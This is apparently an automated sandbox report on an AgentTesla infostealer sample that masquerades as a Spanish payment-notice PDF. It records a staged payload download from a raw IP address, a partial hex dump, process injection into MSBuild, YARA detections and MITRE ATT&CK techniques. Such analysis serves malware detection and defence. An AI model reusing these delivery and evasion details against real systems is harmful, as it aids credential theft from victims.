RT_ICON	0xa498	0x5190	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_GROUP_ICON	0xf638	0x92	data
RT_VERSION	0xf6dc	0x2dc	data
RT_MANIFEST	0xf9c8	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright
Assembly Version	3.2.2.0
InternalName	Znmtganqo.exe
FileVersion	3.2.2.0
CompanyName
LegalTrademarks
Comments
ProductName
ProductVersion	3.2.2.0
FileDescription
OriginalFilename	Znmtganqo.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
195.133.18.171192.168.2.680497632848901 05/13/22-17:18:49.165848	TCP	2848901	ETPRO TROJAN Observed Reversed EXE String Inbound (This Program...)	80	49763	195.133.18.171	192.168.2.6

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 13, 2022 17:18:21.184160948 CEST	49720	443	192.168.2.6	131.253.33.200
May 13, 2022 17:18:21.184326887 CEST	49720	443	192.168.2.6	131.253.33.200
May 13, 2022 17:18:21.184356928 CEST	49720	443	192.168.2.6	131.253.33.200
May 13, 2022 17:18:21.184406996 CEST	49720	443	192.168.2.6	131.253.33.200
May 13, 2022 17:18:21.184443951 CEST	49720	443	192.168.2.6	131.253.33.200
May 13, 2022 17:18:21.184463978 CEST	49720	443	192.168.2.6	131.253.33.200
May 13, 2022 17:18:21.184494972 CEST	49720	443	192.168.2.6	131.253.33.200
May 13, 2022 17:18:21.184516907 CEST	49720	443	192.168.2.6	131.253.33.200
May 13, 2022 17:18:21.184529066 CEST	49720	443	192.168.2.6	131.253.33.200
May 13, 2022 17:18:21.184535980 CEST	49720	443	192.168.2.6	131.253.33.200
May 13, 2022 17:18:21.184562922 CEST	49720	443	192.168.2.6	131.253.33.200
May 13, 2022 17:18:21.184633017 CEST	49720	443	192.168.2.6	131.253.33.200
May 13, 2022 17:18:21.184643984 CEST	49720	443	192.168.2.6	131.253.33.200
May 13, 2022 17:18:21.212052107 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.212099075 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.212126970 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.212153912 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.212181091 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.212212086 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.212240934 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.212265968 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.212294102 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.212320089 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.212344885 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.212369919 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.212395906 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.212423086 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.212826967 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.212857008 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213120937 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213148117 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213175058 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213201046 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213280916 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213311911 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213337898 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213363886 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213393927 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213418961 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213444948 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213471889 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213506937 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213537931 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213563919 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213593006 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213624954 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213654995 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213685036 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213716030 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213746071 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213777065 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213804960 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213855028 CEST	49720	443	192.168.2.6	131.253.33.200
May 13, 2022 17:18:21.213881016 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.213939905 CEST	49720	443	192.168.2.6	131.253.33.200
May 13, 2022 17:18:21.214126110 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.214329958 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.214675903 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.214706898 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.214735985 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.214761972 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.214792013 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.214886904 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.214914083 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.214939117 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.215084076 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.215111971 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.215203047 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.264159918 CEST	443	49720	131.253.33.200	192.168.2.6
May 13, 2022 17:18:21.264317036 CEST	49720	443	192.168.2.6	131.253.33.200
May 13, 2022 17:18:30.198323965 CEST	49741	443	192.168.2.6	20.190.160.3
May 13, 2022 17:18:30.198375940 CEST	443	49741	20.190.160.3	192.168.2.6
May 13, 2022 17:18:30.198575974 CEST	49741	443	192.168.2.6	20.190.160.3
May 13, 2022 17:18:30.198838949 CEST	49742	443	192.168.2.6	20.190.160.3
May 13, 2022 17:18:30.198873997 CEST	443	49742	20.190.160.3	192.168.2.6
May 13, 2022 17:18:30.198937893 CEST	49742	443	192.168.2.6	20.190.160.3
May 13, 2022 17:18:30.204220057 CEST	49741	443	192.168.2.6	20.190.160.3
May 13, 2022 17:18:30.204272032 CEST	443	49741	20.190.160.3	192.168.2.6
May 13, 2022 17:18:30.204385996 CEST	49742	443	192.168.2.6	20.190.160.3
May 13, 2022 17:18:30.204427958 CEST	443	49742	20.190.160.3	192.168.2.6
May 13, 2022 17:18:31.582159042 CEST	49744	443	192.168.2.6	20.190.160.133
May 13, 2022 17:18:31.582242012 CEST	443	49744	20.190.160.133	192.168.2.6
May 13, 2022 17:18:31.582381964 CEST	49744	443	192.168.2.6	20.190.160.133
May 13, 2022 17:18:31.607773066 CEST	49744	443	192.168.2.6	20.190.160.133
May 13, 2022 17:18:31.607806921 CEST	443	49744	20.190.160.133	192.168.2.6
May 13, 2022 17:18:32.028403044 CEST	49746	443	192.168.2.6	20.190.160.3
May 13, 2022 17:18:32.028455973 CEST	443	49746	20.190.160.3	192.168.2.6
May 13, 2022 17:18:32.028549910 CEST	49746	443	192.168.2.6	20.190.160.3
May 13, 2022 17:18:32.032512903 CEST	49746	443	192.168.2.6	20.190.160.3
May 13, 2022 17:18:32.032557964 CEST	443	49746	20.190.160.3	192.168.2.6
May 13, 2022 17:18:48.796430111 CEST	49763	80	192.168.2.6	195.133.18.171
May 13, 2022 17:18:48.826342106 CEST	80	49763	195.133.18.171	192.168.2.6
May 13, 2022 17:18:48.826487064 CEST	49763	80	192.168.2.6	195.133.18.171
May 13, 2022 17:18:48.827500105 CEST	49763	80	192.168.2.6	195.133.18.171
May 13, 2022 17:18:48.858424902 CEST	80	49763	195.133.18.171	192.168.2.6
May 13, 2022 17:18:48.858488083 CEST	80	49763	195.133.18.171	192.168.2.6
May 13, 2022 17:18:48.858527899 CEST	80	49763	195.133.18.171	192.168.2.6
May 13, 2022 17:18:48.858567953 CEST	80	49763	195.133.18.171	192.168.2.6
May 13, 2022 17:18:48.858607054 CEST	80	49763	195.133.18.171	192.168.2.6
May 13, 2022 17:18:48.858638048 CEST	49763	80	192.168.2.6	195.133.18.171

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 13, 2022 17:18:58.378077030 CEST	8.8.8.8	192.168.2.6	0x5a16	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.akadns.net		CNAME (Canonical name)	IN (0x0001)
May 13, 2022 17:19:05.113801956 CEST	8.8.8.8	192.168.2.6	0x1684	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.akadns.net		CNAME (Canonical name)	IN (0x0001)

HTTP Request Dependency Graph

195.133.18.171

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49763	195.133.18.171	80	C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe

Timestamp	kBytes transferred	Direction	Data
May 13, 2022 17:18:48.827500105 CEST	712	OUT	GET /Znmtganqo_Wvetpunc.jpg HTTP/1.1 Host: 195.133.18.171 Connection: Keep-Alive
May 13, 2022 17:18:48.858424902 CEST	713	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Last-Modified: Fri, 13 May 2022 13:56:45 GMT Accept-Ranges: bytes ETag: "8dce3a48d166d81:0" Server: Microsoft-IIS/10.0 Date: Fri, 13 May 2022 15:18:48 GMT Content-Length: 418304 Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 d0 00 00 00 0c 00 06 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 00 39 00 34 00 30 00 33 00 2e 00 38 00 36 00 31 00 38 00 2e 00 30 00 2e 00 31 00 00 00 6e 00 6f 00 69 00 73 00 72 00 65 00 56 00 20 00 79 00 6c 00 62 00 6d 00 65 00 73 00 73 00 41 00 01 00 0f 00 46 00 00 00 00 00 33 00 39 00 34 00 30 00 33 00 2e 00 38 00 36 00 31 00 38 00 2e 00 30 00 2e 00 31 00 00 00 6e 00 6f 00 69 00 73 00 72 00 65 00 56 00 74 00 63 00 75 00 64 00 6f 00 72 00 50 00 01 00 0f 00 42 00 00 00 00 00 00 00 00 00 65 00 6d 00 61 00 4e 00 74 00 63 00 75 00 64 00 6f 00 72 00 50 00 01 00 01 00 22 00 00 00 00 00 6c 00 6c 00 64 00 2e 00 73 00 67 00 6b 00 74 00 7a 00 73 00 78 00 62 00 75 00 73 00 76 00 6b 00 6e 00 72 00 6b 00 4e 00 00 00 65 00 6d 00 61 00 6e 00 65 00 6c 00 69 00 46 00 6c 00 61 00 6e 00 69 00 67 00 69 00 72 00 4f 00 01 00 15 00 52 00 00 00 00 00 00 00 00 00 73 00 6b 00 72 00 61 00 6d 00 65 00 64 00 61 00 72 00 54 00 6c 00 61 00 67 00 65 00 4c 00 01 00 01 00 2a 00 00 00 00 00 00 00 74 00 68 00 67 00 69 00 72 00 79 00 70 00 6f 00 43 00 6c 00 61 00 67 00 65 00 4c 00 01 00 01 00 26 00 00 00 00 00 6c 00 6c 00 64 00 2e 00 73 00 67 00 6b 00 74 00 7a 00 73 00 78 00 62 00 75 00 73 00 76 00 6b 00 6e 00 72 00 6b 00 4e 00 00 00 65 00 6d 00 61 00 4e 00 6c 00 61 00 6e 00 72 00 65 00 74 00 6e 00 49 00 01 00 15 00 4a 00 00 00 00 00 33 00 39 00 34 00 30 00 33 00 2e 00 38 00 36 00 31 00 38 00 2e 00 30 00 2e 00 31 00 00 00 00 00 6e 00 6f 00 69 00 73 00 72 00 65 00 Data Ascii: 8p39403.8618.0.1noisreV ylbmessAF39403.8618.0.1noisreVtcudorPBemaNtcudorP"lld.sgktzsxbusvknrkNemaneliFlanigirORskramedarTlageL*thgirypoClageL&lld.sgktzsxbusvknrkNemaNlanretnIJ39403.8618.0.1noisre

Target ID:	0
Start time:	17:18:27
Start date:	13/05/2022
Path:	C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe"
Imagebase:	0x5d0000
File size:	55296 bytes
MD5 hash:	05B6B97166B339557424CA035418A640
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.480316793.0000000003980000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000000.00000002.480316793.0000000003980000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: cmd.exePID: 6360, Parent PID: 6232

General

Target ID:	7
Start time:	17:19:01
Start date:	13/05/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c timeout 15
Imagebase:	0xed0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exePID: 3024, Parent PID: 6360

General

Target ID:	8
Start time:	17:19:02
Start date:	13/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6406f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: timeout.exePID: 5836, Parent PID: 6360

General

Target ID:	9
Start time:	17:19:02
Start date:	13/05/2022
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 15
Imagebase:	0xd80000
File size:	26112 bytes
MD5 hash:	121A4EDAE60A7AF6F5DFA82F7BB95659
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: MSBuild.exePID: 3272, Parent PID: 6232

General

Target ID:	12
Start time:	17:19:18
Start date:	13/05/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Imagebase:	0x880000
File size:	261728 bytes
MD5 hash:	D621FD77BD585874F9686D3A76462EF1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000000.472348543.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000000C.00000000.472348543.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.626727734.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000000C.00000002.626727734.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000000.471775645.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000000C.00000000.471775645.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000000.472717086.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000000C.00000000.472717086.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000000.473012111.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000000C.00000000.473012111.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.627763645.0000000002B11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.627763645.0000000002B11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AgentTeslaV3, Description: AgentTeslaV3 infostealer payload, Source: 0000000C.00000002.627763645.0000000002B11000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

